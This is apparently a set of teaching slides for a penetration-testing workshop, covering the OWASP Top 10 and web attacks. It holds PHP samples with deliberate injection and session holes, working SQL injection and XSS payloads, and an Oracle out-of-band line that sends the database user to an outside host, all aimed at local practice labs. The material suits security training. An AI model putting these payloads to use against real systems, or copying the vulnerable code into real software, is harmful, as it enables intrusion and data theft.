<style>
.red {
color: red;
}
.green {
color: green;
}
</style>
# Basic concept of Penetration Testing
----
## Even mom knows how to PT
---
## PT Cycle
```flow
st=>start: Start
ig=>operation: Information
Gathering
r=>end: Report
s=>operation: Scanning
p=>operation: PT
st->ig->s->p->r(right)->ig
r(right)@>ig({"stroke": "Red"})
```
----
## Information Gathering (OSINT)
Sometimes, we can retrieve some sensitive data through websites due to <span class="red">misconfiguration</span>.
In addition, we can peek some credentials accidentally by passing some <span class="red">unexpected data</span> to some entry points.
----
### OSINT Email Flowchart

----
### Tools
We can do things by hands, but we like tools :)
----
### Reconnaissance
----
#### [Shodan](https://www.shodan.io/)
Shodan is the world's first search engine for Internet-connected devices.
----
#### [Censys](https://censys.io/)
Censys is a search engine that allows computer scientists to ask questions about the devices and networks that compose the Internet by [University of Michigan](https://umich.edu/).
----
#### [Nmap](https://nmap.org/)
Free and open source (license) utility for network discovery and security auditing
----
### Information leakage

----
#### [OpenDoor](https://github.com/stanislav-web/OpenDoor)
OWASP WEB Directory Scanner
----
#### [dvcs-ripper](https://github.com/kost/dvcs-ripper)
Rip web accessible (distributed) version control systems: SVN/GIT/HG...
----
#### [GitMiner](https://github.com/UnkL4b/GitMiner)
Tool for advanced mining for content on Github.
----
### SubDomain Enumeration
[A penetration tester’s guide to sub-domain enumeration](https://blog.appsecco.com/a-penetration-testers-guide-to-sub-domain-enumeration-7d842d5570f6)
----
#### Case Study
[Twitter's Vine Source code dump - $10080](https://avicoder.me/2016/07/22/Twitter-Vine-Source-code-dump/)
----
### SumDomain Takeover
[can-i-take-over-xyz](https://github.com/EdOverflow/can-i-take-over-xyz)
----
#### Case Study
[$4500 Bounty — How I got lucky](https://medium.com/bugbountywriteup/4500-bounty-how-i-got-lucky-99d8bc933f75)
----
## Scanning
Before we get our hands dirty, there're plenty of <span class="green">automated tools</span> can help us look for some evident weak points.
----
### Tools
We can do things by hands, but we like tools :)
----
#### [Nessus](https://www.tenable.com/products/nessus-vulnerability-scanner)
Industry-leading Tenable Nessus vulnerability scanner.
----
#### [w3af](https://github.com/andresriancho/w3af)
Web application attack and audit framework, the open source web vulnerability scanner.
----
#### [wapiti](http://wapiti.sourceforge.net/)
The web-application vulnerability scanner.
----
#### [Burp Suite](https://portswigger.net/burp)
The world’s most widely used website security scanner
----
#### [Acunetix Vulnerability Scanner](https://www.acunetix.com/vulnerability-scanner/)
[Acunetix](https://www.acunetix.com/) are the pioneers in automated web application security testing with innovative technologies.
---
## Penetration Testing
Nothing to say. We will learn how to do the PT in for the rest of the time.
----
## Docker
Docker is an open platform for developers and sysadmins to ==build, ship, and run== distributed applications, whether on laptops, data center VMs, or the cloud.
----
### [Platforms](https://www.docker.com/products/overview#/install_the_platform)
- Docker
- Docker for Mac
- Docker for Windows
----
### Basic Usage
- `docker pull` - To pull an image from Docker Hub.
- `docker images` - To list all images you've pulled or built.
- `docker run` - To run a container.
- `docker exec` - To execute a command in a container.
- `docker ps` - To show status of images.
----
### Security features
When you spin up a container, a set of [kernel namespaces](https://docs.docker.com/engine/security/security/#/kernel-namespaces) will be created and initialized.
Also, [control groups](https://docs.docker.com/engine/security/security/#/control-groups) play as an important role.
----
## OWASP
==OWASP(開放Web軟體安全計畫 – Open Web Application Security Project)是一個開放社群、非營利性組織==,其主要目標是研議協助解決Web軟體安全之標準、工具與技術文件,長期致力於協助政府或企業瞭解並改善網頁應用程式與網頁服務的安全性。
而 ==OWASP TOP 10== 是目前手頭上眾多計劃中最知名的一個,內容為==網頁應用程式上最重要且嚴重的10大弱點==。
----
## OWASP Top 10 - 2013
- [A1 Injection](https://www.owasp.org/index.php/Top_10_2013-A1-Injection)
- [A2 Broken Authentication and Session Management](https://www.owasp.org/index.php/Top_10_2013-A2-Broken_Authentication_and_Session_Management)
- [A3 Cross-Site Scripting (XSS)](https://www.owasp.org/index.php/Top_10_2013-A3-Cross-Site_Scripting_(XSS))
- [A4 Insecure Direct Object References](https://www.owasp.org/index.php/Top_10_2013-A4-Insecure_Direct_Object_References)
- [A5 Security Misconfiguration](https://www.owasp.org/index.php/Top_10_2013-A5-Security_Misconfiguration)
----
## OWASP Top 10 - 2013
- [A6 Sensitive Data Exposure](https://www.owasp.org/index.php/Top_10_2013-A6-Sensitive_Data_Exposure)
- [A7 Missing Function Level Access Control](https://www.owasp.org/index.php/Top_10_2013-A7-Missing_Function_Level_Access_Control)
- [A8 Cross-Site Request Forgery (CSRF)](https://www.owasp.org/index.php/Top_10_2013-A8-Cross-Site_Request_Forgery_(CSRF))
- [A9 Using Components with Known Vulnerabilities](https://www.owasp.org/index.php/Top_10_2013-A9-Using_Components_with_Known_Vulnerabilities)
- [A10 Unvalidated Redirects and Forwards](https://www.owasp.org/index.php/Top_10_2013-A10-Unvalidated_Redirects_and_Forwards)
----
### A1 Injection
:::info
If there is any space that can be injected by someone, it's called *injection*.
:::
1. Command Injection
```php=
// Get input
$target = $_REQUEST['ip'];
// Determine OS and execute the ping command.
if(stristr(php_uname('s'), 'Windows NT')) {
// Windows
$cmd = shell_exec('ping ' . $target);
} else {
// *nix
$cmd = shell_exec('ping -c 4 ' . $target);
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
```
----
2. SQL Injection
```php=
$query = "SELECT * FROM accounts WHERE userID='" + $_GET['id']) + "'";
mysql_query($query);
```
3. Code Injection
```php=
echo <<< EOF
<html>
<head>
<title>Injection</title>
</head>
<body>
Hello {$_GET['name']}
</body>
</html>
EOF;
```
----
### A2 Broken Authentication and Session Management
:::info
Weak authentication or insecure session management can lead to certain attacks.
:::
1. Session fixation
```php=
session_start();
// I trust any session id :)
if($_SESSION["sid"]) { login(); } else {
$_SESSION["sid"] = $_GET["sid"];
}
```
----
### A3 Cross-Site Scripting (XSS)
:::info
Script across over internet caused XSS.
:::
1. Reflect XSS
```htmlmixed=
<html>
<head>
<title>XSS</title>
</head>
<body>
Hello <?= $_GET['name']; ?>
</body>
</html>
```
----
2. Stored XSS
```php=
$conn = mysql_connect("localhost", "mysql_user", "mysql_password");
$sql = "SELECT name FROM users WHERE uid = 1";
$admin = mysql_fetch_assoc(mysql_query($sql));
echo <<< EOF
<html>
<head>
<title>XSS</title>
</head>
<body>
Hello {$admin["name"]}
</body>
</html>
EOF;
```
----
### A4 Insecure Direct Object References
:::info
Insecure object references often caused information leakage.
:::
1. Information enumeration
```php=
$db = new PDO('mysql:host=localhost;dbname=testdb;charset=utf8mb4', 'username', 'password');
$db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$db->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);
$stmt = $db->prepare("SELECT * FROM users WHERE id=:id");
$stmt->execute(array(':id' => $_GET['id']));
$rows = $stmt->fetchAll(PDO::FETCH_ASSOC);
echo infos($rows['name']);
```
----
### A5 Security Misconfiguration
:::info
Misconfigure setting files or security feature could often head for disaster.
:::
1. Directory listing
2. Debug environment
3. Readable version control repository
- Git, SVN, HG, Bazaar, CVS, BitKeeper
Ref: [dvcs-ripper](https://github.com/kost/dvcs-ripper)
----

----
### A6 Sensitive Data Exposure
:::info
Sensitive data should be well-hidden or encrypted.
:::
1. Weak storage management for users' credentials
```php=
$db = new PDO('mysql:host=localhost;dbname=testdb;charset=utf8mb4', 'username', 'password');
$db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$db->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);
$stmt = $db->prepare("Update users SET password =':password' WHERE id=:id");
$affected_rows = $stmt->execute(array(':id' => $_POST['id'], ':password' => $_POST['password']));
echo $affected_rows.' were affected';
```
2. Non-SSL network traffics
----
### A7 Missing Function Level Access Control
:::info
Normal individuals can target specific privileged-functions without authorization called *Missing Function Level Access Control*.
:::
1. Normal person can triggers admin's function
```htmlmixed=
<html>
<head>
Missing Function Level Access Control
</head>
<body>
<a href="/show">Show profile</a>
<!-- <a href="/admin">Admin panel</a> -->
</body>
</html>
```
----
### A8 Cross-Site Request Forgery (CSRF)
:::info
Someone could forge the requests to other websites on your behalf is called *CSRF*.
:::
1. Play with XSS
```htmlmixed=
<html>
<head>
CSRF
</head>
<body>
<?php session_start(); ?>
<?php if($_SESSION['id']) { ?>
Hello, <?= $_GET['name']; ?>
You can now:
<ul>
<li><a href="/withdraw">withdraw</a></li>
<li><a href="/deposit">deposit</a></li>
</ul>
<?php } else { die("Get out! Login first!"); } ?>
</body>
</html>
```
----
### A9 Using Components with Known Vulnerabilities
:::info
You should patch your programs immediately after patchings release, or you will suffer from *Using Components with Known Vulnerabilities*.
:::
1. [Rails - Remote code execution](https://gist.github.com/postmodern/4660248)
2. [Spring Framework - Remote code execution](https://github.com/vulhub/vulhub/tree/master/spring/CVE-2018-1273)
3. [GitHub Enterprise - Remote code execution](http://blog.orange.tw/2017/07/how-i-chained-4-vulnerabilities-on.html)
----
### A10 Unvalidated Redirects and Forwards
:::info
Open redirect or forward could lead everyone to danger place.
:::
1. Open redirect and forward
```php=
// redirect.php?url=
$url = $_GET['url'];
if($url) {
header("Location: {$url}");
} else {
header("Location: /?url=home.php");
}
```
----
### Tools
We can do things by hands, but we like tools :)
----
#### View source code

----
#### Developer tools
1. Chrome

2. Firefox

----
#### Security Framework
- [OWASP Mantra](https://www.owasp.org/index.php/OWASP_Mantra_-_Security_Framework) - Hosted by OWASP
- [Firefox-Security-Toolkit](https://github.com/mazen160/Firefox-Security-Toolkit) - A tool that transforms Firefox browsers into a penetration testing suite
----
#### Firefox add-ons
1. [HackBar](https://addons.mozilla.org/zh-tw/firefox/addon/hackbar/)
2. [Modify Headers](https://addons.mozilla.org/zh-tw/firefox/addon/modify-headers/)
3. [Foxy Proxy](https://addons.mozilla.org/zh-tw/firefox/addon/foxyproxy-standard/)
4. [Tamper Data](https://addons.mozilla.org/zh-tw/firefox/addon/tamper-data/)
5. [Cookies Manager Plus](https://addons.mozilla.org/zh-tw/firefox/addon/cookies-manager-plus/)
6. [Wappalyzer](https://addons.mozilla.org/zh-tw/firefox/addon/wappalyzer/)
----
#### Burp Suite
<div>
<img src="https://portswigger.net/content/images/screenshots/detailed-attack-results.jpg" />
<img src="https://portswigger.net/content/images/screenshots/cross-site-request-forgery.jpg" />
</div>
---
## SQL Injection
----
### Introduction to SQL Injection
使用者的輸入直接被代入 DBMS 執行,即是 ==DBMS 無法分辨何為數值,何為指令==
- SELECT * FROM news WHERE id=<span class="red">$id</span>
- SELECT * FROM news WHERE id=<span class="red">1</span>
- SELECT * FROM news WHERE id=<span class="red">1; DROP TABLE news</span>
----
### Injection types
通常注入參數分為兩種型態,一為數字型態,另一為字串型態:
- SELECT * FROM news WHERE id=<span class="red">1</span>
- SELECT * FROM news WHERE id=<span class="red">'1'</span>
----
#### Cont.
針對數字型態,我們攻擊拼接字串可能為:
> SELECT * FROM news WHERE id=<span class="red">$id</span>
- ?id=<span class="red">1 or 1=1</span>
----
#### Cont.
針對字串型態,我們攻擊拼接字串可能為:
> SELECT * FROM news WHERE id=<span class="red">'$id'</span>
- ?id=<span class="red">1' or '1'='1</span>
> SELECT * FROM news WHERE id=<span class="red">'$id'</span>
- ?id=<span class="red">1" or "1"="1</span>
----
### How to detect
根據上面所說的,我們第一步驟就是要先確認可攻擊的參數究竟是接受數字還是字串型態:
- ?id=<span class="red">1</span>
- ?id=<span class="red">first</span>
----
#### Cont.
接著再根據已知的型態送相對應的攻擊 payload 到 DBMS
- ?id=<span class="red">1 or 1=1</span>
- ?id=<span class="red">first' and ''='</span>
----
### Types of Injection Techniques
- Inband
- UNION based
- ERROR based
- Inference
- BLIND based
- TIME based
- Out-of-Band
- Out-of-Band based
----
### UNION based
#### Quiz: What does ==UNION==, this reserved word mean?
The UNION operator is used to<!-- .element: class="fragment" data-fragment-index="1" --> ==combine the result-set of two or more SELECT statements==.
Each SELECT statement within UNION<!-- .element: class="fragment" data-fragment-index="2" --> ==must have the same number of columns==.
----
#### Cont.
- ==UNION== 是最常見也最容易利用的 SQL Injection 技巧
- 由於 DBMS 的操作結果會顯示於網頁上
- 將欲萃取的資料連同前個語句的結果一併帶出來
----
#### Cont.
1. ?id=<span class="red">1</span> (這是什麼型態的注入?)
2. ?id=<span class="red">1 or 1=1</span>
3. ?id=<span class="red">1 UNION SELECT 1,2,3</span>
4. ?id=<span class="red">1 and 1=0 UNION SELECT 1,2,3</span>(跟上一句有什麼差別?)
----
### MySQL UNION based
----
#### MySQL 常見可利用資訊
- 資料庫版本:`version()`
- 當前連線使用者:`user()`
- 當前連線資料庫:`database()`
----
#### Cont.
- 所有資料庫名稱存放資訊
- SELECT ==schema_name== FROM information_schema.schemata
- 所有 Table 名稱存放資訊
- SELECT ==table_schema==, table_name FROM information_schema.tables
- 所有 Column 名稱存放資訊
- SELECT table_schema, table_name, ==column_name== FROM information_schema.columns
----
#### MySQL UNION based SQLi Practice
> Get the flag
### http://127.0.0.1:8083/

----
##### Cont.
**Hint:**
1. http://127.0.0.1:8083/?id=25%20AND%201=2%20UNION%20SELECT%20user(),%20table_name%20FROM%20information_schema.tables%20where%20table_schema=database()<!-- .element: class="fragment" data-fragment-index="1" -->
----
### Oracle UNION based
----
#### 與 MySQL UNION based 的差異
- 差異點在於 UNION 後所串接之 ==Column 形態必須相同==,否則出錯
- MySQL 中會 Column 形態會自動轉型故可不用顧慮
- 可使用 ==NULL== 來避免
- `SELECT` 必定要有來源對象
- 使用 ==Dummy Table dual== 來避免此問題
----
#### Oracle 常見可利用資訊
- 資料庫版本:`SELECT banner FROM v$version WHERE rownum=1`
- 當前連線使用者:`USER`
- 當前連線資料庫:`SYS.DATABASE_NAME`
----
#### Cont.
- 所有資料庫名稱存放資訊
- SELECT DISTINCT ==owner== FROM all_tables
- 所有 Table 名稱存放資訊
- SELECT owner, ==table_name== FROM all_tables
- 所有 Column 名稱存放資訊
- SELECT owner, table_name, ==column_name== FROM all_tab_columns
----
#### Oracle UNION based SQLi Practice
> Get the flag
### http://127.0.0.1:8085/

----
##### Cont.
**Hint:**
1. http://127.0.0.1:8085/?id=25%20AND%201=2%20UNION%20select%201,%20'xx',%20table_name%20FROM%20all_tables%20WHERE%20owner=SYS.DATABASE_NAME<!-- .element: class="fragment" data-fragment-index="1" -->
2. Get all table names in one string<!-- .element: class="fragment" data-fragment-index="2" -->
```sql
SELECT
rtrim(xmlagg(xmlelement(e, table_name || ', '))
.extract('//text()')
.extract('//text()'), ', ')
FROM all_tables
```
----
### ERROR based
----
#### Cont.
- 若目標網站有開啟錯誤提示
- 將欲萃取的資料連同錯誤訊息一併帶出來
- 但能夠顯示的資料長度有限,故時常需分次萃取
----
### MySQL Error based
----
#### MySQL 常見可利用函數
透過操作一些函數將欲萃取的資料放進錯誤訊息:
- 通用式
- SELECT * FROM news WHERE id=1 AND (SELECT 1 FROM (SELECT count(*), concat(floor(rand(1337)*2), ==(SELECT user())==) AS x from information_schema.tables GROUP BY x) AS b)
- 可替換任意指令:(SELECT user())
- 最大長度: 64 bytes
----
#### Cont.
- 可選式
- SELECT * FROM news WHERE id=1 AND extractvalue(rand(), (SELECT user()))=1
- 可替換任意指令:(SELECT user())
- MySQL > 5.1 才支援
- 另尚有 name_const, updatexml 等函數可利用
----
#### MySQL ERROR based SQLi Practice
> Get the flag
### http://127.0.0.1:8086/

----
##### Cont.
**Hint:**
1. `http://127.0.0.1:8086/?id=28 and (SELECT 1 FROM (SELECT count(*), concat(floor(rand(1337)*2), (SELECT table_name FROM information_schema.tables WHERE table_schema=database() limit 0,1)) AS x FROM information_schema.tables GROUP BY x) AS b)`<!-- .element: class="fragment" data-fragment-index="1" -->
----
### Oracle Error based
----
#### Oracle 常見可利用函數
透過操作一些函數將欲萃取的資料放進錯誤訊息:
- 通用式
- SELECT * FROM news WHERE id=1 AND <span>CTXSYS.DRITHSX.SN</span>(user, ==(SELECT banner FROM v$version WHERE rownum=1)==)=1
- 可替換任意指令:(SELECT banner FROM v$version WHERE rownum=1)
----
#### Cont.
- 可選式
- 另尚有 get_host_address, get_host_name, getmappingxpath 等函數可利用
----
#### Oracle ERROR based SQLi Practice
> Get the flag
### http://127.0.0.1:8088/

----
##### Cont.
**Hint:**
1. `http://127.0.0.1:8088/?id=5 AND CTXSYS.DRITHSX.SN(user, (SELECT table_name FROM all_tables WHERE owner=SYS.DATABASE_NAME AND rownum=1))=1`<!-- .element: class="fragment" data-fragment-index="1" -->
----
### BLIND based
----
#### Cont.
- 透過操控資料庫結果造成==對與錯的判別==來取得所要資訊
- 類似選擇明文攻擊
- SELECT * FROM news WHERE id=<span class="red">1 and 1=1</span>
- SELECT * FROM news WHERE id=<span class="red">1 and 1=2</span>
----
### TIME based
----
#### Cont.
- 在頁面沒有任何資訊可判斷 SQL 執行結果時使用
- 利用BLIND based 對與錯的判別改成==時間差==來判斷
- 如何製造時間差?
- 使用 sleep() 之類會使伺服器暫停之函數
- Heavy Query
----
#### Cont.
- SELECT * FROM News WHERE ID=<span class="red">1 if 1=1 waitfor delay '0:0:10'</span>
- SELECT * FROM News WHERE ID=<span class="red">1 if 1=2 waitfor delay '0:0:10'</span>
----
### Out-of-Band based
----
#### Cont.
- 利用 SQL 語法、函數等方式將欲萃取的資料透過網路往外送
- 比起 BLIND Based 以及 Time Based 萃取資料的方式快速許多,通常是無法 ERROR Based 以及 UNION Based 後的選擇
- 將 BLIND Based 以及 Time Based 轉為 UNION based
- 必須 DBMS 支援以及 DBMS 主機可連外網
- 透過 [DNS Data Exfiltration](https://arxiv.org/ftp/arxiv/papers/1303/1303.3047.pdf) 可不管 DBMS 是否可連外網
- Ref: [Dnslog在SQL注入中的实战](https://www.anquanke.com/post/id/98096)
----
### MySQL Out-of-Band based
----
#### MySQL 常見可利用函數
- SELECT LOAD_FILE('C:\\Windows\\system.ini');
----
### Oracle Out-of-Band based
----
#### Oracle 常見可利用函數
- SELECT UTL_INADDR.GET_HOST_ADDRESS('test.example.com');
- SELECT UTL_HTTP.REQUEST('test.example.com/') FROM DUAL;
- SELECT HTTPURITYPE('test.example.com/').GETCLOB() FROM DUAL;
- SELECT DBMS_LDAP.INIT(('test.example.com',80) FROM DUAL;
----
#### Oracle Out-of-Band based SQLi Practice
> Get the flag
### http://127.0.0.1:8090/
**Hint:**
1. `http://127.0.0.1:8090/?id=5-utl_http.request('http://example.com/'||(SELECT user FROM dual))`<!-- .element: class="fragment" data-fragment-index="1" -->
---
## Broken Authentication and Session Management
----
### Introduction
網站應用程式中自行撰寫的身分驗證相關功能有缺陷,例如登入時:
- 密碼或連線無加密
- SESSION 無控管
- Cookie 未保護
- 密碼強度過弱
----
#### Cont.
實際例子如:
- 若應用程式 SESSION Timeout 沒有設定,當使用者公用電腦上登入後卻忘記登出,僅是關閉視窗,則攻擊者就算經過一段時間之後在使用同一台電腦也是可以直接登入的。
- 若網站沒有使用 SSL / TLS 加密,則使用者使用一般網路或者無線網路上網時,處在同個內網底下的攻擊者是可以使用 Sniffer 竊聽取得使用者識別碼、密碼或是 SESSION ID 等,進一步登入該帳號。
----
### 實際案例1 - [佐克伯多個社群帳號遭駭,全因LinkedIn失守](https://www.bnext.com.tw/ext_rss/view/id/1716850)
原來馬克的Twitter 密碼是「dadada」!
----
### 實際案例2 - [未用 HTTPS、明文傳輸密碼,pay.taipei 北市府支付平台安全性不及格](https://www.bnext.com.tw/ext_rss/view/id/1716850)
http://pay.taipei/ 的 app 安全性嚴重不足,更可能將大眾的資訊暴露於危險當中。
----
### 實際案例3 - 未實作安全的驗證功能

----
### 實際案例4 - [Gentoo公開說明GitHub帳號被駭事件原委,原來是管理員密碼被猜到惹的禍](https://www.ithome.com.tw/news/124365)
由於駭客把所有開發人員從GitHub的Gentoo專案中移除,使得大家都收到了通知電子郵件,才讓這個攻擊提早曝光,Gentoo Linux官方緊急聯絡GitHub凍結該帳戶,才沒有讓損害擴大。
----
## Practice 1
> Get admin's password
### http://127.0.0.1:8091/
----
## Practice 2
> Get the Flag
### http://127.0.0.1:8092/

----
### Cont.
**Hint:**
1. No SQLi<!-- .element: class="fragment" data-fragment-index="1" -->
2. Source code:<!-- .element: class="fragment" data-fragment-index="2" --> http://127.0.0.1:8092/check.phps
3. php's md5(Array) returns NULL<!-- .element: class="fragment" data-fragment-index="3" -->
4. Trick:<!-- .element: class="fragment" data-fragment-index="4" --> https://speakerdeck.com/phith0n/ctfbi-sai-zong-shi-shu-ni-huan-chai-dian-tricks?slide=16
---
## Cross-Site Scripting (XSS)
----
### Introduction
XSS stands for "cross-site scripting", is a attacking technique to inject some malicious javascript code into HTML.
----
### What is malicious JavaScript?
- JavaScript has access to some of the user's ==sensitive information==, such as cookies.
- JavaScript can ==send HTTP requests with arbitrary content== to arbitrary destinations by using XMLHttpRequest and other mechanisms.
- JavaScript can ==make arbitrary modifications to the HTML== of the current page by using DOM manipulation methods.
----
### Example
```php=
echo <<< EOF
<html>
<head>
<title>Injection</title>
</head>
<body>Hello {$_GET['name']}</body>
</html>
EOF
```
How will the browser renderer for us if we assign ==Admin== to `$name`?
----
#### Cont.
```htmlmixed=
<html>
<head>
<title>Injection</title>
</head>
<body>Hello Admin</body>
</html>
```
How will the browser renderer for us if we assign ==<script>alert(/xss/)</script>== to `$name`?
----
#### Cont.
```htmlmixed=
<html>
<head>
<title>Injection</title>
</head>
<body>Hello <script>alert(/xss/)</script></body>
</html>
```
Then, a sweet alert box will pop out :smile:
----
### How the example attack works

----
### Types of XSS attack
- Reflected XSS
- Stored XSS or Persistent XSS
- DOM-based XSS
- mXSS
- uXSS
----
### Horsemen?

----
### Reflected XSS - The White Horse
#### Quiz: What does ==Reflected== mean in these cases?
#### Ans: It only affects the user who trigger.<!-- .element: class="fragment" data-fragment-index="1" -->
----
#### How will Reflected XSS work?

----
#### What potential threats will it cause?
- Cookie theft
- The attacker can access the victim's cookies associated with the website using document.cookie, send them to his own server, and ==use them to extract sensitive information like session IDs==.
----
##### Cont.
- Keylogging
- The attacker can ==register a keyboard event listener using addEventListener and then send all of the user's keystrokes to his own server==, potentially recording sensitive information such as passwords and credit card numbers.
----
##### Cont.
- Phishing
- The attacker can insert a fake login form into the page using DOM manipulation, set the form's action attribute to target his own server, and then ==trick the user into submitting sensitive information==.
----
#### Reflected XSS - Practice 1
> Trigger a Reflected XSS
### http://prompt.ml/2
**Hint:**
1. [prompt.ml#level-2](https://github.com/cure53/XSSChallengeWiki/wiki/prompt.ml#level-2)<!-- .element: class="fragment" data-fragment-index="1" -->
----
#### Reflected XSS - Practice 2
> Trigger a Reflected XSS
### http://prompt.ml/8
**Hint:**
1. [prompt.ml#level-8](https://github.com/cure53/XSSChallengeWiki/wiki/prompt.ml#level-8)<!-- .element: class="fragment" data-fragment-index="1" -->
----
### Stored XSS - The Red Horse
#### Quiz: What does ==Stored== mean in these cases?
#### Ans: It affects all users who expose themselves to the threat.<!-- .element: class="fragment" data-fragment-index="1" -->
----
#### Classic case - [Samy Worm](https://en.wikipedia.org/wiki/Samy_(computer_worm))
該蠕蟲以 JavaScript 語言編寫,並利用儲存型 XSS 漏洞傳播。它在每個被感染的使用者主頁顯示一行字串「but most of all, samy is my hero」,並將自己複製在該使用者頁面以達到傳播的目的。
----
#### Stored XSS Practice
> Find stored XSSes from the Doppio version of `HackMD` as you can
### http://127.0.0.1:8093/

----
### DOM-based XSS - The Black Horse
#### Quiz: What does ==DOM-based== mean in these cases?
#### Ans: The root cause is about DOM related manipulations.<!-- .element: class="fragment" data-fragment-index="1" -->
----
#### How will DOM-based XSS work?

----
### What is DOM
Document Object Model (DOM) 是 HTML、XML 和 SVG 文件的程式介面。它提供了一個==文件(樹)的結構化表示法==,並定義讓程式可以存取並改變文件架構、風格和內容的方法。
DOM 提供了文件以擁有屬性與函式的節點與物件組成的結構化表示。節點也可以附加事件處理程序,一旦觸發事件就會執行處理程序。 本質上,它將網頁與腳本或程式語言連結在一起。
----
### Security Issue
DOM 的誕生帶給瀏覽器相當大的進步,透過 DOM Node 的交互操作我們可以直接改變頁面內容而不用重新刷新頁面。
但也因為如此,各種 DOM 的操作也都隱含著被惡意使用者控制內容的風險,進而造成 DOM-based XSS 。
----
### Example
[electron@e1a232e](https://github.com/electron/electron/blob/e1a232e7c8e66e673ff3ba523155c9d963882ab8/lib/renderer/content-scripts-injector.js#L44-L52)
```javascript=
// script.css = [{ code: "</style><script>alert(/xss/);</script>" }]
if (script.css) {
for (const {code} of script.css) {
process.once('document-end', () => {
var node = document.createElement('style')
node.innerHTML = code
window.document.body.appendChild(node)
})
}
}
```
----
### Potential Entry Point
- Where do attacks come from?
- location.href
- location.hash
- location.search
- window.name
- document.referrer
- XHR.responseText
- postMessage
----
#### Cont.
- What JS functions or DOM related operations should we concern?
- location.href
- location.assign
- document.write
- innerHTML
- eval
- Function
- setTimeout
- setInterval
- require
----
### Mitigation to DOM-based XSS
- Content Security Policy
- <meta http-equiv="Content-Security-Polict" content="default src 'self'">
- iframe sandbox feature
- \<iframe sandbox="allow-same-origin" id="test" srcdoc="<html><div id='QQ'></div></html>"></iframe>
```javascript=
document.querySelector("#test").contentDocument.querySelector("#QQ").innerHTML
= "<script>alert(/xss/)</script>";
```
----
### Reference
[DOMXSS Wiki](https://github.com/wisec/domxsswiki/wiki)
----
### mXSS - The Pale Horse
#### Quiz: What does ==m== mean in these cases?
#### Ans: Mutated.<!-- .element: class="fragment" data-fragment-index="1" -->
----
### History
- Decades ago, MS added a convenient DOM property
- It was available in Internet Explorer 4
- Allowed to manipulate the DOM without even manipulating it
- It's browser that does it for you
----
#### Cont.
- Element.==innerHTML==
- Direct access to the element's HTML content
- Read and write of course
- Browser does all the nasty DOM stuff internally
----
### Example
- The DOM way
```javascript=
var myId = "spanID";
var myDiv = document.getElementById("myDivId");
var mySpan = document.createElement('span');
var spanContent = document.createTextNode('Bla');
mySpan.id = mySpanId;
mySpan.appendChild(spanContent);
myDiv.appendChild(mySpan);
```
----
#### Cont.
- The innerHTML way
```javascript=
var myId = "spanID";
var myDiv = document.getElementById("myDivId");
myDiv.innerHTML = '<span id="' + myId + '">Bla</span>';
```
----
### Non-idempotency
> What is [idempotency](http://www.restapitutorial.com/lessons/idempotency.html)?
It's often good to have idempotency, so we won't duplicate the request. However, ==innerHTML== is not idempotency.
----
#### Cont.
What will happen if there's no idempotency for ==innerHTML==?
- browser just messes up the markup anyway
- Follow the steps
- Sanitize
- Beautify
- Optimize
- It often helps
----
#### Cont.
Nevertheless, browser can do wrong if we give it some weird combinations.

----
### Security Issue
Back in 2006, a fellow desk-worker noticed that the print-preview was bricked sometimes. It seemed some attributes were blended into the document.
Then a researcher called ==Yosuke Hasegawa== analyzed the problem one year later in 2007, and the first pointer to mXSS was discovered later.
----
### Not new

- Require IE8 or older
- Has been patched
----
### New
#### Exploiting using Unknown Element

- Require IE9 or older
----
#### Cont.

- Require IE9 or older
----
### Not Entirely Bad
- Few websites allow ==xmlns==
- Everyone allows ==\<article>== though
- HTML5 is not affected
- Alas, it's a old browser running under HTML4 - as is IE in older document modes
- \<meta http-equiv="X-UA-Compatible" content="IE=IE5" />
- Force the browser to fall-back to an old mode
- Old feature, old layout bugs
----
### HTML Entities
- Chrome messed up with ==\<textare>==
- Found and reported by Eduardo
- Firefox screwed up with ==SVG==
- \<svg>\<style><img src=x onerror=alert(1)>\</svg>
- IE has problems with ==\<listing>==
- \<listing><img src=x onerror=alert(1)>\</listing>
----
#### Cont.
- Also...==text/xhtml==
- All ==CDATA== will be decoded
- That's also why inline SVG and MathML add more fun
----
#### Cont.
- [Potential XSS via MathML gotten from innerHTML < Chrome 67](https://bugs.chromium.org/p/chromium/issues/detail?id=805924)
- [PoC](https://vulnerabledoma.in/chrome_mxss_mathml_annotation-xml.html)
----
#### Cont.
- [Bypassing DOMPurify with mXSS](http://www.thespanner.co.uk/2018/07/29/bypassing-dompurify-with-mxss/)
- [Patch](https://github.com/cure53/DOMPurify/compare/1.0.6...master)
----
### Who is affected?
- Most existing HTML filters and sanitizers
- All tested Rich-Text editors
- Most existing Web-Mailers
- Basically anything that obeys standards
----
### So...How to protect?
- Fancy Websites
- Enforce standards mode
- <meta http-equiv="X-UA-Compatible" content="IE=Edge" />
- Avoid getting framed, use X-Frame-Options (XFO)
- <!DOCTYPE html> -> HTML5
- Content Security Policy (CSP)
- Update browsers
- Avoid SVG and MathML
----
#### Cont.
- Actual Websites
- Patch filters
- Employ strict white-lists
- Avoid critical characters in HTML attribute values
- Be extremely paranoid about user generated CSS
- Don't obey to standards
- Know the vulnerabilities
----
### uXSS - The Fifth Horse?
#### Quiz: What does ==U== mean in these cases?
#### Ans: Universal.<!-- .element: class="fragment" data-fragment-index="1" -->
----
### Introduction
uXSS stands for ==Universal Cross-Site Scripting==, and does not need a vulnerable web page in order to trigger. It can penetrate web sessions belonging to secure, well written web pages, thus ==creating a vulnerability where there isn’t one==. (Cite from [Universal Cross-site Scripting (uXSS): The Making of a Vulnerability](http://www.acunetix.com/blog/web-security-zone/universal-cross-site-scripting-uxss/))
----
### [Firefox uXSS and CSS XSS](https://leucosite.com/Firefox-uXSS-and-CSS-XSS/)
---
## Insecure Direct Object References
----
### Introduction
A direct object reference occurs when a developer exposes a reference to an internal implementation object, such as a file, directory, or database key.
Without an ==access control== check or other ==protection==, attackers can manipulate these references to access unauthorized data.
----
### Local File Inclusion
The File Inclusion vulnerability allows an attacker to include a file, usually exploiting a ==dynamic file inclusion== mechanisms implemented in the target application.
The vulnerability occurs due to the use of user-supplied input without ==proper validation==.
----
#### Cont.
For instance:
```php=
include $_GET['file'];
```
or harder one,
```php=
include $_GET['file'] . ".php";
```
----
### Example
```php=
include "waf.php";
if (!isset($_GET['p']))
die("missing parameters");
$p = $_GET['p'];
// contain at most 1 of "..".
